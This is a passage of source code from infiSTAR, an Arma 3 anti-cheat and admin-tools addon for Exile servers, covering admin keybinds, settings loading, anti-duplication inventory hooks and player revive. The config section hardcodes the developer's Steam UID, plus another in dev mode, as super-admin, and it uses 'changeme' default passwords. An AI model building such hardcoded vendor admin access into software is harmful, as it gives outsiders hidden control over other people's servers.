  11939. if(_key isEqualTo 0xD3)then{ if('Delete Vehicle' call ADMINLEVELACCESS)then{[''] call fnc_deleteVeh_selected;}; };
  11940. if(_key isEqualTo 0x42)then{ if('Flip Vehicle' call ADMINLEVELACCESS)then{[''] call fnc_flipVeh;}; };
  11941. if(_key isEqualTo 0x02)then{ if(ALLOW_ME_THIS_KEYBIND || 'Light' call ADMINLEVELACCESS)then{ if(_ctrl)then{[''] call fnc_Light_selected; };}; };
  11942. if(_key isEqualTo 0x03)then{ if(ALLOW_ME_THIS_KEYBIND)then{ if(_ctrl)then{[''] call fnc_Kill_selected; };}; };
  11943. if(_key isEqualTo 0x05)then{ if('FlyUp' call ADMINLEVELACCESS)then{call infiSTAR_FlyUp}; };
  11944. if(_key isEqualTo 0x06)then{ if(_shift)then{ [] call infiSTAR_Tpdirection;}; };
  11945. if(_key isEqualTo 0x08)then{ if('UnlockLockVehicle' call ADMINLEVELACCESS)then{[] call infiSTAR_A3Togglelock;}; };
  11946. if(_key isEqualTo 0x43)then{ if('ShowGear' call ADMINLEVELACCESS)then{[] call admin_showGear;}; };
  11947. if(_key isEqualTo 0x44)then{ call fnc_endspectate; };
  11948. if(_key isEqualTo 0x2F)then{ if(ALLOW_ME_THIS_KEYBIND)then{if(_shift)then{[] call infiSTAR_shortTP;};if(_ctrl)then{[] call infiSTAR_go_down;};}; };
  11949. if(_key isEqualTo 0x30)then{ if(ALLOW_ME_THIS_KEYBIND)then{[] call fnc_Hover;}; };
  11950. if(_key isEqualTo 0x40)then{ if('HealSelf' call ADMINLEVELACCESS)then{[] call infiSTAR_A3Heal;'HealSelf' call fnc_adminLog;playsound 'AddItemOK';}; };
  11951. if(_key isEqualTo 0x41)then{ if('HealRepairNear' call ADMINLEVELACCESS)then{[] call infiSTAR_A3RestoreNear;'HealRepairNear' call fnc_adminLog;playsound 'AddItemOK';}; };
  11952. if(_key isEqualTo 0x0F)then{ if(_shift)then{openMap true;}; };
  11953. if(_key isEqualTo 0x57)then{ if('Spawn Ammo' call ADMINLEVELACCESS)then{[] call infiSTAR_A3addAmmo;}; };
  11954. if(_key isEqualTo 0x0E)then{ if(!isNil'prevLoc')then{[1,netId player,prevLoc] call fnc_AdminReq;prevLoc = nil;}; };
  11955. if(_key isEqualTo 83)then{ [] call fn_addArsenalAction; };
  11956. false
  11957. };
  11958. fnc_infiAdminKeyUp = {
  11959. private ['_key', '_shift', '_ctrl', '_alt'];
  11960. _key = _this select 1;
  11961. _shift = _this select 2;
  11962. _ctrl = _this select 3;
  11963. _alt = _this select 4;
  11964. SHIFT_IS_PRESSED = false;
  11965. ALT_IS_PRESSED = false;
  11966. false
  11967. };
  11968. _oldValues = profileNamespace getVariable ['infiSTAR_saveToggle',[]];
  11969. if!(_oldValues isEqualTo [])then
  11970. {
  11971. {
  11972. if(_x call ADMINLEVELACCESS)then
  11973. {
  11974. if!(_x in infiSTAR_toggled_A)then
  11975. {
  11976. _x call fnc_toggleables;
  11977. };
  11978. };
  11979. } forEach _oldValues;
  11980. };
  11981. HTML_LOAD_URL_EXILE = 'http://htmlload.infistar.de/admin.php';
  11982.  
  11983. _log = format['<infiSTAR.de> %1 - Menu Loaded - press F1 (default Key) to open it!',call GET_TIME_TIME];systemchat _log;diag_log _log;
  11984.  
  11985. if(!isNil 'infiAdminKeyDown')then{(findDisplay 46) displayRemoveEventHandler ['KeyDown',infiAdminKeyDown];infiAdminKeyDown = nil;};
  11986. infiAdminKeyDown = (findDisplay 46) displayAddEventHandler ['KeyDown',{ _this call fnc_infiAdminKeyDown }];
  11987.  
  11988. if(!isNil 'infiAdminKeyUp')then{(findDisplay 46) displayRemoveEventHandler ['KeyUp',infiAdminKeyUp];infiAdminKeyUp = nil;};
  11989. infiAdminKeyUp = (findDisplay 46) displayAddEventHandler ['KeyUp',{ _this call fnc_infiAdminKeyUp }];
  11990.  
  11991. if('Teleport On Map Click' call ADMINLEVELACCESS)then
  11992. {
  11993. if(!isNil'infiAdminMouseButtonDown')then{(uiNamespace getVariable 'A3MAPICONS_mainMap') ctrlRemoveEventHandler ['MouseButtonDown',infiAdminMouseButtonDown];infiAdminMouseButtonDown=nil;};
  11994. infiAdminMouseButtonDown = (uiNamespace getVariable 'A3MAPICONS_mainMap') ctrlAddEventHandler['MouseButtonDown','call fnc_MouseButtonDown'];
  11995.  
  11996. if(!isNil'infiAdminMouseButtonUp')then{(uiNamespace getVariable 'A3MAPICONS_mainMap') ctrlRemoveEventHandler ['MouseButtonUp',infiAdminMouseButtonUp];infiAdminMouseButtonUp=nil;};
  11997. infiAdminMouseButtonUp = (uiNamespace getVariable 'A3MAPICONS_mainMap') ctrlAddEventHandler['MouseButtonUp','call fnc_MouseButtonUp'];
  11998. };
  11999. ";
  12000. /* ********************************************************************************* */
  12001. /* *********************************www.infiSTAR.de********************************* */
  12002. /* *******************Developed by infiSTAR ([email protected])****************** */
  12003. /* **************infiSTAR Copyright®© 2011 - 2016 All rights reserved.************** */
  12004. /* ****DayZAntiHack.com***DayZAntiHack.de***ArmaAntiHack.com***Arma3AntiHack.com**** *//*
  12005. Author: Chris(tian) "infiSTAR" Lorenzen
  12006. Contact: [email protected] // www.infiSTAR.de
  12007.  
  12008. Copyright infiSTAR - 2011 - 2016. All rights reserved.
  12009. Christian (Chris) L. ([email protected]) Developer of infiSTAR
  12010.  
  12011. Description:
  12012. Arma AntiHack & AdminTools - infiSTAR.de
  12013.  
  12014. UPDATEEMAIL for http://update.infiSTAR.de is:
  12015.  
  12016. Last download was on:
  12017. '05-Jul-2016 23-52-40';
  12018.  
  12019. NOTE:
  12020. THIS FILE SHOULD NOT BE TOUCHED UNLESS YOU REALLY KNOW WHAT YOU ARE DOING!
  12021. */
  12022.  
  12023.  
  12024.  
  12025.  
  12026.  
  12027.  
  12028.  
  12029.  
  12030.  
  12031.  
  12032.  
  12033.  
  12034.  
  12035.  
  12036.  
  12037.  
  12038.  
  12039.  
  12040.  
  12041.  
  12042.  
  12043.  
  12044.  
  12045.  
  12046.  
  12047.  
  12048.  
  12049.  
  12050.  
  12051.  
  12052.  
  12053.  
  12054.  
  12055.  
  12056.  
  12057.  
  12058.  
  12059.  
  12060.  
  12061.  
  12062.  
  12063.  
  12064.  
  12065.  
  12066.  
  12067.  
  12068.  
  12069.  
  12070. /* FIX PROBLEMS IN ARMA / OTHER ADDONS */
  12071. cba_common_setVehVarName = compileFinal "diag_log 'blocked RE exploit';";
  12072. BIS_fnc_parsenumber = compileFinal '
  12073. _number = param [0,-1,[0,"",{},configfile]];
  12074. switch (typename _number) do {
  12075. case (typename {}): {
  12076. _number = call _number;
  12077. if (isnil {_number}) then {_number = -1;};
  12078. _number
  12079. };
  12080. case (typename ""): {
  12081. _number = parseNumber _number;
  12082. if (isnil {_number}) then {_number = -1;};
  12083. _number
  12084. };
  12085. case (typename configfile): {
  12086. if (isnumber _number) then {
  12087. getnumber _number
  12088. } else {
  12089. if (istext _number) then {
  12090. parseNumber (gettext _number)
  12091. } else {
  12092. -1
  12093. };
  12094. };
  12095. };
  12096. default {_number};
  12097. };
  12098. ';
  12099.  
  12100.  
  12101.  
  12102. /* START INFISTAR */
  12103. if(!isNil "infiSTAR_IS_RUN_ON_THIS_SERVER")exitWith{diag_log format["<infiSTAR.de> %1 - is already started %1 seconds ago..",time - infiSTAR_IS_RUN_ON_THIS_SERVER];};
  12104. infiSTAR_IS_RUN_ON_THIS_SERVER = time;
  12105. _found = false;
  12106. diag_log format["<infiSTAR.de> %1 - checking for EXILE_SERVER..",time];
  12107. _cfgPatches = configFile >> "CfgPatches";
  12108. for "_i" from 0 to (count _cfgPatches - 1) do
  12109. {
  12110. _patchClass = _cfgPatches select _i;
  12111. if(toLower(configName _patchClass) isEqualTo "exile_server")exitWith
  12112. {
  12113. _found = true;
  12114. };
  12115. };
  12116. if(!_found)exitWith
  12117. {
  12118. for "_i" from 0 to 10 do
  12119. {
  12120. diag_log format["<infiSTAR.de> %1 - Could not find EXILE_SERVER, infiSTAR will not start!",time];
  12121. };
  12122. };
  12123. diag_log format["<infiSTAR.de> %1 - EXILE_SERVER has been found, STARTING",time];
  12124. _found = false;
  12125. diag_log format["<infiSTAR.de> %1 - checking for Cfg_infiSTAR_settings..",time];
  12126. _configFile = configFile;
  12127. for "_i" from 0 to (count _configFile - 1) do
  12128. {
  12129. _patchClass = _configFile select _i;
  12130. if(configName _patchClass == "Cfg_infiSTAR_settings")exitWith
  12131. {
  12132. _found = true;
  12133. };
  12134. };
  12135. if(!_found)exitWith
  12136. {
  12137. for "_i" from 0 to 10 do
  12138. {
  12139. diag_log format["<infiSTAR.de> %1 - Could not find Cfg_infiSTAR_settings, infiSTAR will not start!",time];
  12140. };
  12141. };
  12142. diag_log format["<infiSTAR.de> %1 - Cfg_infiSTAR_settings has been found, STARTING",time];
  12143. fnc_infiSTAR_cfg = compileFinal '
  12144. private["_inputclassname","_path","_default","_defaultT","_return"];
  12145. _inputclassname = _this select 0;
  12146. _path = (configfile >> "Cfg_infiSTAR_settings" >> _inputclassname);
  12147. _default = _this select 1;
  12148. _defaultT = typename _default;
  12149. _return = call {
  12150. if(_defaultT isEqualTo "BOOL")exitWith{(getText _path)=="true"};
  12151. if(_defaultT isEqualTo "ARRAY")exitWith{getArray _path};
  12152. if(_defaultT isEqualTo "SCALAR")exitWith{getNumber _path};
  12153. if(_defaultT isEqualTo "STRING")exitWith{getText _path};
  12154. diag_log format["<infiSTAR.de> fnc_infiSTAR_cfg inputclassname: %1, default: %2, default type: %3 - was used!",_inputclassname,_default,_defaultT];
  12155. _default
  12156. };
  12157. _return
  12158. ';
  12159. _devs = ['76561198152111329']; /* infiSTAR UID */
  12160. _admins = [];
  12161. _serverCommandPassword = ["serverCommandPassword","changeme"] call fnc_infiSTAR_cfg;
  12162. _passwordAdmin = ["passwordAdmin","changeme"] call fnc_infiSTAR_cfg;
  12163. _OPEN_ADMIN_MENU_KEY = ["OPEN_ADMIN_MENU_KEY",0x3B] call fnc_infiSTAR_cfg;
  12164. _HIDE_FROM_PLAYERS = ["HIDE_FROM_PLAYERS",false] call fnc_infiSTAR_cfg;
  12165. _announce_adminstate_changed = ["announce_adminstate_changed",false] call fnc_infiSTAR_cfg;
  12166. _use_html_load_on_adminmenu = ["use_html_load_on_adminmenu",true] call fnc_infiSTAR_cfg;
  12167. LOG_PATH = ["LOG_PATH",""] call fnc_infiSTAR_cfg;
  12168. _LogAdminActions = ["LogAdminActions",true] call fnc_infiSTAR_cfg;
  12169. _enableIngameLogs = ["enableIngameLogs",true] call fnc_infiSTAR_cfg;
  12170. _needAdminNameTag = ["needAdminNameTag",false] call fnc_infiSTAR_cfg;
  12171. _AdminNameTag = ["AdminNameTag","[Admin]"] call fnc_infiSTAR_cfg;
  12172. _chatCommands = ["chatCommands",[]] call fnc_infiSTAR_cfg;
  12173. _chatCommandsP = ["chatCommandsP",[]] call fnc_infiSTAR_cfg;
  12174.  
  12175. _ENABLE_NOTIFICATION_MESSAGES = ["ENABLE_NOTIFICATION_MESSAGES",true] call fnc_infiSTAR_cfg;
  12176. if(_ENABLE_NOTIFICATION_MESSAGES)then{
  12177. NOTIFY_MSG_ARRAY = ["NOTIFY_MSG_ARRAY",[]] call fnc_infiSTAR_cfg;
  12178. publicVariable "NOTIFY_MSG_ARRAY";
  12179. };
  12180.  
  12181. _pathToCustomBillBoardTextures = ["pathToCustomBillBoardTextures",[]] call fnc_infiSTAR_cfg;
  12182. _startAsNormal = ["startAsNormal",[]] call fnc_infiSTAR_cfg;
  12183. _hiddenSuperAdmin = ["hiddenSuperAdmin",[]] call fnc_infiSTAR_cfg;
  12184. _adminUIDandAccess = ["adminUIDandAccess",[]] call fnc_infiSTAR_cfg;
  12185.  
  12186.  
  12187. _USE_DATABASE_WHITELIST = ["USE_DATABASE_WHITELIST",false] call fnc_infiSTAR_cfg;
  12188. _USE_UID_WHITELIST = ["USE_UID_WHITELIST",false] call fnc_infiSTAR_cfg;
  12189. _UID_WHITELIST = ["UID_WHITELIST",[]] call fnc_infiSTAR_cfg;
  12190.  
  12191.  
  12192. _ExileDevFriendlyMode = ["ExileDevFriendlyMode",false] call fnc_infiSTAR_cfg;
  12193. _ESCMNUTOP = ["ESCMNUTOP","AntiHack & AdminTools"] call fnc_infiSTAR_cfg;
  12194. _ESCMNUBOT = ["ESCMNUBOT","by infiSTAR.de"] call fnc_infiSTAR_cfg;
  12195. _BRIEFING_MSG = ["BRIEFING_MSG",false] call fnc_infiSTAR_cfg;
  12196. _HTML_LOAD_URL = ["HTML_LOAD_URL",""] call fnc_infiSTAR_cfg;
  12197. _ENABLE_PRIVATE_CHAT_MENU = ["ENABLE_PRIVATE_CHAT_MENU",false] call fnc_infiSTAR_cfg;
  12198. _PRIVATE_CHAT_MENU_8GNETWORK = ["PRIVATE_CHAT_MENU_8GNETWORK",false] call fnc_infiSTAR_cfg;
  12199. _USE_RESTART_TIMER = ["USE_RESTART_TIMER",true] call fnc_infiSTAR_cfg;
  12200. _RESTART_TIME_IN_M = ["RESTART_TIME_IN_M",180] call fnc_infiSTAR_cfg;
  12201. _SHOW_TIMER_IN_MIN = ["SHOW_TIMER_IN_MIN",[1,2,3,5,10]] call fnc_infiSTAR_cfg;
  12202. _USE_RESTART_TIMER_SHUTDOWN = ["USE_RESTART_TIMER_SHUTDOWN",false] call fnc_infiSTAR_cfg;
  12203. _DayNightVote = ["DayNightVote",true] call fnc_infiSTAR_cfg;
  12204. _MRV = ["MRV",0.3] call fnc_infiSTAR_cfg;
  12205. _MVP = ["MVP",0.51] call fnc_infiSTAR_cfg;
  12206. _VCT = ["VCT",300] call fnc_infiSTAR_cfg;
  12207. _TGV = ["TGV",40] call fnc_infiSTAR_cfg;
  12208. _VDV = ["VDV",900] call fnc_infiSTAR_cfg;
  12209. _VOV = ["VOV",750] call fnc_infiSTAR_cfg;
  12210. _SVD = ["SVD",100] call fnc_infiSTAR_cfg;
  12211.  
  12212. _fix_uniform_and_vest = ["fix_uniform_and_vest",false] call fnc_infiSTAR_cfg;
  12213. _experimental_dupe_check = ["experimental_dupe_check",false] call fnc_infiSTAR_cfg;
  12214. _stopSafeGlitchAndCorpseDupe = ["stopSafeGlitchAndCorpseDupe",false] call fnc_infiSTAR_cfg;
  12215.  
  12216. _URC = ["URC",true] call fnc_infiSTAR_cfg;
  12217. _LVC = ["LVC",true] call fnc_infiSTAR_cfg;
  12218. _CAP = ["CAP",false] call fnc_infiSTAR_cfg;
  12219.  
  12220. _KCM = ["KCM",true] call fnc_infiSTAR_cfg;
  12221. _CMC = ["CMC",true] call fnc_infiSTAR_cfg;
  12222. _allowedCommandingMenus = ["allowedCommandingMenus",[]] call fnc_infiSTAR_cfg;
  12223. _allowedCommandingMenus = _allowedCommandingMenus - ["#user:example"];
  12224. _allowedCommandingMenus = _allowedCommandingMenus - ["#user:example2"];
  12225.  
  12226. _check_Notifications = ["check_Notifications",false] call fnc_infiSTAR_cfg;
  12227. _disconnect_dupe_check = ["disconnect_dupe_check",false] call fnc_infiSTAR_cfg;
  12228. _wall_look = ["wall_look",false] call fnc_infiSTAR_cfg;
  12229. _wall_glitch_object = ["wall_glitch_object",false] call fnc_infiSTAR_cfg;
  12230. _wall_glitch_vehicle = ["wall_glitch_vehicle",false] call fnc_infiSTAR_cfg;
  12231. _check_doors_n_gates = ["check_doors_n_gates",false] call fnc_infiSTAR_cfg;
  12232. _checkHiddenObjects = ["checkHiddenObjects",false] call fnc_infiSTAR_cfg;
  12233. _attach_to_check = ["attach_to_check",false] call fnc_infiSTAR_cfg;
  12234. _slingload_check = ["slingload_check",false] call fnc_infiSTAR_cfg;
  12235. _checkFilePatchingEnabled = ["checkFilePatchingEnabled",true] call fnc_infiSTAR_cfg;
  12236. _CMM = ["CMM",true] call fnc_infiSTAR_cfg;
  12237. _maxMapMenuEntries = ["maxMapMenuEntries",6] call fnc_infiSTAR_cfg;
  12238. _check_steam_ban = ["check_steam_ban",false] call fnc_infiSTAR_cfg;
  12239. _ban_for_steam_ban = ["ban_for_steam_ban",false] call fnc_infiSTAR_cfg;
  12240.  
  12241. _UAT = ["UAT",true] call fnc_infiSTAR_cfg;
  12242. _allowTPcfg = (getArray(configfile >> "Cfg_infiSTAR_settings" >> "allowTP" >> "custom"));
  12243.  
  12244. _CHECK_DRAWING = ["CHECK_DRAWING",false] call fnc_infiSTAR_cfg;
  12245. _CGM = ["CGM",false] call fnc_infiSTAR_cfg;
  12246. _CLM = ["CLM",false] call fnc_infiSTAR_cfg;
  12247. _UMW = ["UMW",false] call fnc_infiSTAR_cfg;
  12248. _aLocalM = ["aLocalM",[]] call fnc_infiSTAR_cfg;
  12249. _badChat = ["badChat",[]] call fnc_infiSTAR_cfg;
  12250. _badNamesFull = ["badNamesFull",[]] call fnc_infiSTAR_cfg;
  12251. _badNamesPartial = ["badNamesPartial",[]] call fnc_infiSTAR_cfg;
  12252. _badGroupNames = ["badGroupNames",[]] call fnc_infiSTAR_cfg;
  12253. _badIDDsToKick = ["badIDDsToKick",[]] call fnc_infiSTAR_cfg;
  12254. _badIDDsToClose = ["badIDDsToClose",[]] call fnc_infiSTAR_cfg;
  12255. _UDW = ["UDW",true] call fnc_infiSTAR_cfg;
  12256. _allowedIDDs = ["allowedIDDs",[]] call fnc_infiSTAR_cfg;
  12257.  
  12258. _useBlacklistedVariableCheck = ["useBlacklistedVariableCheck",false] call fnc_infiSTAR_cfg;
  12259. _blacklistedVariables = [];
  12260. if(_useBlacklistedVariableCheck)then{_blacklistedVariables = ["blacklistedVariables",[]] call fnc_infiSTAR_cfg;};
  12261.  
  12262.  
  12263. _UVC = ["UVC",true] call fnc_infiSTAR_cfg;
  12264. _UVC_adminspawn = ["UVC_adminspawn",true] call fnc_infiSTAR_cfg;
  12265. _VehicleWhiteList_check = ["VehicleWhiteList_check",true] call fnc_infiSTAR_cfg;
  12266. _VehicleWhiteList = ["VehicleWhiteList",[]] call fnc_infiSTAR_cfg;
  12267. _ForbiddenVehicles_check = ["ForbiddenVehicles_check",true] call fnc_infiSTAR_cfg;
  12268. _ForbiddenVehicles = ["ForbiddenVehicles",[]] call fnc_infiSTAR_cfg;
  12269. _LocalWhitelist = ["LocalWhitelist",[]] call fnc_infiSTAR_cfg;
  12270.  
  12271.  
  12272. _UFI = ["UFI",false] call fnc_infiSTAR_cfg;
  12273. _UIW = ["UIW",false] call fnc_infiSTAR_cfg;
  12274. _ItemWhiteList = ["ItemWhiteList",[]] call fnc_infiSTAR_cfg;
  12275. _ForbiddenItems = ["ForbiddenItems",[]] call fnc_infiSTAR_cfg;
  12276. _allSupportBoxes = ["allSupportBoxes",[]] call fnc_infiSTAR_cfg;
  12277. _allSupportBoxesNames = [];
  12278. {
  12279. if!(_x isEqualTo [])then
  12280. {
  12281. _allSupportBoxesNames pushBack (_x select 0);
  12282. };
  12283. } forEach _allSupportBoxes;
  12284. _KYLE_MODE = ["KYLE_MODE",false] call fnc_infiSTAR_cfg;
  12285. if(!_ExileDevFriendlyMode)then{_ExileDevFriendlyMode = getNumber(configFile >> "CfgSettings" >> "ServerSettings" >> "devFriendyMode") isEqualTo 1;};
  12286. if(_ExileDevFriendlyMode)then
  12287. {
  12288. _devs pushBackUnique "76561198022879703"; /* Grim */
  12289. };
  12290. {if(count _x > 5)then{_devs pushBackUnique _x;};} forEach _hiddenSuperAdmin;
  12291. {if(count _x > 5)then{_admins pushBackUnique _x;};} forEach _devs;
  12292. fnc_CompilableString = {
  12293. _input = _this select 0;
  12294. _output = call {
  12295. if(_input isEqualType {})exitWith{(str(_input)) select [1,((count(str(_input)))-2)]};
  12296. if(_input isEqualType "")exitWith{_input};
  12297. ""
  12298. };
  12299. _output
  12300. };
  12301. fnc_CompilableString = compileFinal ([fnc_CompilableString] call fnc_CompilableString);
  12302. publicVariable "fnc_CompilableString";
  12303. _testserver = (((toLower servername) find 'mgt exile' isEqualTo -1)||((toLower servername) find 'test' isEqualTo -1));
  12304.  
  12305.  
  12306.  
  12307.  
  12308.  
  12309.  
  12310.  
  12311. fn_antidupedisabler = compileFinal "
  12312. disableSerialization;
  12313. _timer = diag_tickTime + _this;
  12314. while{(!isNull (findDisplay 602))}do
  12315. {
  12316. _ctrl = ((findDisplay 602) displayCtrl 632);
  12317. _ctrl ctrlEnable false;
  12318.  
  12319. _size = lbSize _ctrl;
  12320. if(_size > 0)then
  12321. {
  12322. for '_i' from 0 to _size do
  12323. {
  12324. _ctrl lbSetColor [_i, [1,0,0,1]];
  12325. };
  12326. };
  12327. if(diag_tickTime > _timer)exitWith
  12328. {
  12329. ((findDisplay 602) displayCtrl 632) ctrlEnable true;
  12330.  
  12331. if(_size > 0)then
  12332. {
  12333. for '_i' from 0 to _size do
  12334. {
  12335. _ctrl lbSetColor [_i, [1,1,1,1]];
  12336. };
  12337. };
  12338. };
  12339. };
  12340. ";
  12341. publicVariable "fn_antidupedisabler";
  12342. fn_onPlayerTake = compileFinal "
  12343. if(!isNil'antidupedisabler')then{terminate antidupedisabler;antidupedisabler=nil;};
  12344. antidupedisabler = 0.3 spawn fn_antidupedisabler;
  12345.  
  12346. _this call ExileClient_object_player_event_onTake
  12347. ";
  12348. publicVariable "fn_onPlayerTake";
  12349.  
  12350.  
  12351.  
  12352.  
  12353.  
  12354.  
  12355.  
  12356. if(_stopSafeGlitchAndCorpseDupe)then{
  12357. fn_onInventoryOpened = compileFinal "
  12358. _ret = _this call ExileClient_object_player_event_onInventoryOpened;
  12359. ((findDisplay 602) displayCtrl 111) ctrlSetText format['%1 (%2)',groupId(group player),profileName];
  12360. if(!_ret)then
  12361. {
  12362. _container = _this select 1;
  12363.  
  12364. _locked = locked _container isEqualTo 2;
  12365. _ExileIsLocked = _container getVariable ['ExileIsLocked', 1] isEqualTo -1;
  12366. _lockedNear = false;
  12367.  
  12368. if(!_locked && !_ExileIsLocked)then
  12369. {
  12370. if((_container isKindOf 'GroundWeaponHolder')||(_container isKindOf 'WeaponHolderSimulated')||(_container isKindOf 'LootWeaponHolder')||(_container isKindOf 'Man'))then
  12371. {
  12372. _vehicles = player nearObjects ['AllVehicles', 7];
  12373. if(!_lockedNear)then
  12374. {
  12375. {
  12376. _lockedxx = locked _x isEqualTo 2;
  12377. _ExileIsLockedxx = _x getVariable ['ExileIsLocked', 1] isEqualTo -1;
  12378. if((_lockedxx || _ExileIsLockedxx) && !(_x in [_container,vehicle _container]))exitWith
  12379. {
  12380. _lockedNear = true;
  12381. systemChat '<infiSTAR.de> locked vehicle to close.. gear menu will not show the cargo tab!';
  12382. };
  12383. } forEach _vehicles;
  12384. };
  12385. if(!_lockedNear)then
  12386. {
  12387. {
  12388. _obj = _x;
  12389. if(!(_obj isKindOf 'Man')&&(_container isKindOf 'Man')&&(!alive _container))exitWith
  12390. {
  12391. _lockedNear = true;
  12392. systemChat '<infiSTAR.de> vehicle to close to dead body.. gear menu will not show the cargo tab!';
  12393. };
  12394. } forEach _vehicles;
  12395. };
  12396. if(!_lockedNear)then
  12397. {
  12398. {
  12399. _lockedx = locked _x isEqualTo 2;
  12400. _ExileIsLockedx = _x getVariable ['ExileIsLocked', 1] isEqualTo -1;
  12401. if(_lockedx || _ExileIsLockedx)exitWith
  12402. {
  12403. _lockedNear = true;
  12404. systemChat '<infiSTAR.de> locked supply close.. gear menu will not show the cargo tab!';
  12405. };
  12406. } forEach (player nearSupplies 5);
  12407. };
  12408. };
  12409. };
  12410. if(_locked || _ExileIsLocked || _lockedNear)then
  12411. {
  12412. if(!isNil'checkGearDisplayThread')then{terminate checkGearDisplayThread;checkGearDisplayThread=nil;};
  12413. checkGearDisplayThread = [] spawn {
  12414. disableSerialization;
  12415. _fn_hide_cargo = {
  12416. ((findDisplay 602) displayCtrl 6401) ctrlEnable false;
  12417. ctrlSetFocus ((findDisplay 602) displayCtrl 6321);
  12418. ctrlActivate ((findDisplay 602) displayCtrl 6321);
  12419. };
  12420. waitUntil {call _fn_hide_cargo;!isNull findDisplay 602};
  12421. waitUntil {call _fn_hide_cargo;isNull findDisplay 602};
  12422. };
  12423. };
  12424. };
  12425. _ret
  12426. ";
  12427. publicVariable "fn_onInventoryOpened";
  12428. }
  12429. else
  12430. {
  12431. fn_onInventoryOpened = compileFinal "
  12432. _ret = _this call ExileClient_object_player_event_onInventoryOpened;
  12433. ((findDisplay 602) displayCtrl 111) ctrlSetText format['%1 (%2)',groupId(group player),profileName];
  12434. _ret
  12435. ";
  12436. publicVariable "fn_onInventoryOpened";
  12437. };
  12438.  
  12439.  
  12440.  
  12441.  
  12442. fnc_exile_revive_client = compileFinal "
  12443. params[['_target',objNull],['_newUnit',objNull]];
  12444. if(isNull _target)exitWith{systemChat 'dead body gone..!';};
  12445. if(isNull _newUnit)exitWith{systemChat 'new body not ready..!';};
  12446.  
  12447. _weaponholder = nearestObject [_target, 'WeaponHolderSimulated'];
  12448. if(!isNull _weaponholder)then
  12449. {
  12450. _weaponsItemsCargo = weaponsItemsCargo _weaponholder;
  12451. if(count _weaponsItemsCargo > 0)then
  12452. {
  12453. _weaponsItemsCargo = _weaponsItemsCargo select 0;
  12454.  
  12455. {
  12456. if(_x isEqualType '')then
  12457. {
  12458. _target addweapon _x;
  12459. _target addPrimaryWeaponItem _x;
  12460. }
  12461. else
  12462. {
  12463. _target addMagazine _x;
  12464. };
  12465. } forEach _weaponsItemsCargo;
  12466. };
  12467. deleteVehicle _weaponholder;
  12468. };
  12469. if(local _target)then
  12470. {
  12471. _loadout = getUnitLoadout _target;
  12472. deleteVehicle _target;
  12473. _newUnit setUnitLoadout _loadout;
  12474. };
  12475.  
  12476. _layer = 'BIS_fnc_respawnCounter' call bis_fnc_rscLayer;
  12477. _layer cutText ['', 'plain'];
  12478. if !(ExileClientBleedOutThread isEqualTo -1) then
  12479. {
  12480. [ExileClientBleedOutThread] call ExileClient_system_thread_removeTask;
  12481. ExileClientBleedOutThread = -1;
  12482. };
  12483. cutText['', 'BLACK IN',3];
  12484. titleText['', 'BLACK IN',3];
  12485. true call ExileClient_gui_hud_toggle;
  12486. ExileClientLoadedIn = true;
  12487. showChat true;
  12488. setGroupIconsVisible [true, true];
  12489. if(ExileClientPlayerIsBambi)then{call ExileClient_object_player_bambiStateEnd;};
  12490. if(userInputDisabled)then{disableUserInput false;};
  12491. true
  12492. ";
  12493. publicVariable "fnc_exile_revive_client";
  12494.  
  12495.  
  12496. fnc_exile_revive_server = compileFinal "
  12497. _target = _this select 0;
  12498. _targetID = _this select 1;
  12499.  
  12500. _posATL = getPosATL _target;
  12501. _direction = getDir _target;
  12502. _playerUID = getPlayerUID _target;
  12503. _name = _target getVariable['ExileName',''];
  12504.  
  12505. _accountData = format['getAccountStats:%1', _playerUID] call ExileServer_system_database_query_selectSingle;
  12506. _group = call ExileServer_system_group_getOrCreateLoneWolfGroup;
  12507. _newUnit = _group createUnit ['Exile_Unit_Player', _posATL, [], 0, 'CAN_COLLIDE'];
  12508. removeHeadgear _newUnit;
  12509.  
  12510. _clanID = (_accountData select 3);
  12511. _clanData = missionNamespace getVariable [format ['ExileServer_clan_%1',_clanID],[]];
  12512. if !((typeName _clanID) isEqualTo 'SCALAR') then
  12513. {
  12514. _clanID = -1;
  12515. }
  12516. else
  12517. {
  12518. if(isNull (_clanData select 5))then
  12519. {
  12520. _clanGroup = createGroup independent;
  12521. _clanData set [5,_clanGroup];
  12522. _clanGroup setGroupIdGlobal [_clanData select 0];
  12523. missionNameSpace setVariable [format ['ExileServer_clan_%1',_clanID],_clanData];
  12524. }
  12525. else
  12526. {
  12527. _clanGroup = (_clanData select 5);
  12528. };
  12529. [_newUnit] joinSilent _clanGroup;
  12530. };
  12531. _newUnit disableAI 'FSM';
  12532. _newUnit disableAI 'MOVE';
  12533. _newUnit disableAI 'AUTOTARGET';
  12534. _newUnit disableAI 'TARGET';
  12535. _newUnit disableAI 'CHECKVISIBLE';
  12536. _newUnit setName _name;
  12537. _newUnit setVariable ['ExileMoney', 0, true];
  12538. _newUnit setVariable ['ExileScore', (_accountData select 0)];
  12539. _newUnit setVariable ['ExileKills', (_accountData select 1)];
  12540. _newUnit setVariable ['ExileDeaths', (_accountData select 2)];
  12541. _newUnit setVariable ['ExileClanID', _clanID];
  12542. _newUnit setVariable ['ExileClanData', _clanData];
  12543. _newUnit setVariable ['ExileHunger', 100];
  12544. _newUnit setVariable ['ExileThirst', 100];
  12545. _newUnit setVariable ['ExileTemperature', 37];
  12546. _newUnit setVariable ['ExileWetness', 0];
  12547. _newUnit setVariable ['ExileAlcohol', 0];
  12548. _newUnit setVariable ['ExileName', _name];
  12549. _newUnit setVariable ['ExileOwnerUID', _playerUID];
  12550. _newUnit setVariable ['ExileIsBambi', true];
  12551. _newUnit setVariable ['ExileXM8IsOnline', false, true];
  12552. _newUnit setVariable ['ExileLocker', (_accountData select 4), true];
  12553. _newUnit addMPEventHandler ['MPKilled', {_this call ExileServer_object_player_event_onMpKilled}];
  12554. _newUnit call ExileServer_object_player_database_insert;
  12555.  
  12556.  
  12557.  
  12558. _createPlayerResponse = [
  12559. _newUnit,
  12560. '',
  12561. str (_accountData select 0),
  12562. (_accountData select 1),
  12563. (_accountData select 2),
  12564. 100,
  12565. 100,
  12566. 0,
  12567. (getNumber (configFile >> 'CfgSettings' >> 'BambiSettings' >> 'protectionDuration')) * 60,
  12568. _clanData,
  12569. 0
  12570. ];
  12571.  
  12572. [
  12573. [_createPlayerResponse,[_target,_newUnit]],
  12574. {
  12575. (_this select 0) call ExileClient_object_player_network_createPlayerResponse;
  12576. (_this select 1) call fnc_exile_revive_client;
  12577. },
  12578. _targetID,
  12579. false
  12580. ] call FN_infiSTAR_S;
  12581.  
  12582.  
  12583.  
